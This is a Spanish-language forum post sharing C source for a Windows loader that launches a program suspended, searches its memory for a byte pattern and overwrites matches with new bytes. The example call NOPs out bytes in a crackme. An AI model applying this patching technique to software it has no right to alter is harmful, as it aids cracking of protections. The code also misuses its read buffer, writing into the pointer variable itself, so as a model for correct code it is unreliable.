Buen este es mi primer post aquí, publicaré un source que ya había hecho hace algunos días, es un loader que buscar y parchea bytes en memoria, tiene la opción de buscar determinados bytes determinadas veces en la memoria y parchearlos. La funcion retorna la cantidad de veces que se parchearon los bytes.

Código: c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

DWORD MassiveReplace(DWORD inicio,LPVOID bytes,LPVOID replace,LPSTR proceso,DWORD tam,DWORD limite)
{
/*
@Coder->Linkgl
  @Docs:msdn
    @Este código puede ser editado/modificado, respetando los créditos
*/
  //Estructuras necesarias para las API's siguientes
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  //Llenamos las estructuras con 00 para evitar errores
  ZeroMemory(&si, sizeof(si));
  ZeroMemory(&pi, sizeof(pi));
  //Indicamos el tamaño de la estructura
  si.cb = sizeof(si);
  // -->Variables necesarias <--
  DWORD leidos;
  DWORD contador=0;
  char *value;
  // -->Reservamos el espacio necesario en memoria
  // y lo limpiamos <--
  value=(char *)malloc(tam);
  memset(value,0,tam);
  //-->Creamos el proceso
  if(CreateProcess(proceso,"",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi))
  {
    //-->Bucle para leer los bytes desde la direccion indicada en bloques
    // del tamaño indicado
    while(ReadProcessMemory(pi.hProcess, (LPVOID)inicio, &value, tam, &leidos))
    {
      //->PRINTF Para debuggear la funcion en caso de error
      //printf("%x -> %s -> %s ->%d\n",inicio,&value,bytes,leidos);
      //memset(value,0,tam+10);
      //getchar();
      //->findebug
      //->comparamos ambos punteros
      if(memcmp(bytes,&value,tam)==0)
      {
        //->si son iguales terminamos el proceso en el que trabajamos
        // y retornamos la direccion en memoria donde encontramos los
        // bytes
        if(contador<limite)
        {
          //Reservamos la memoria en esa direccion con un tamaño de la longitud de los bytes
          VirtualProtectEx(pi.hProcess,(LPVOID)inicio,tam,0x40,&leidos);
          //Escribimos los nuevos bytes en la direccion en memoria
          WriteProcessMemory(pi.hProcess,(LPVOID)inicio,replace,tam,&leidos);
          //Incrementamos el contador
          contador++;
        }
      }
      //->Incrementamos la direccion en memoria al siguiente bloque a leer
      inicio++;
      //Sleep(100); si son muchos los bytes a buscar mejor le ponemos un pequeño sleep
    }
    //-->Continuamos el hilo
    ResumeThread(pi.hThread);
   // TerminateProcess(pi.hProcess,0);
    return contador;
  }
  else
  {
    return 0;
  }
}

int main()
{
  //->Ejemplo de uso 
  char buscar[4]={0x00,0x00,0x00};
  char reemplazar[4]={0x90,0x90,0x90};
  int posicion=MassiveReplace(0x401000,buscar,reemplazar,"c:\\crackme2.exe",3,3);
  if(posicion!=0)
    printf("Se reemplazaron-> %d bytes",posicion);
  else printf("no se encontro %s en la memoria virtual del programa",buscar);
  getchar();
  return 0;
}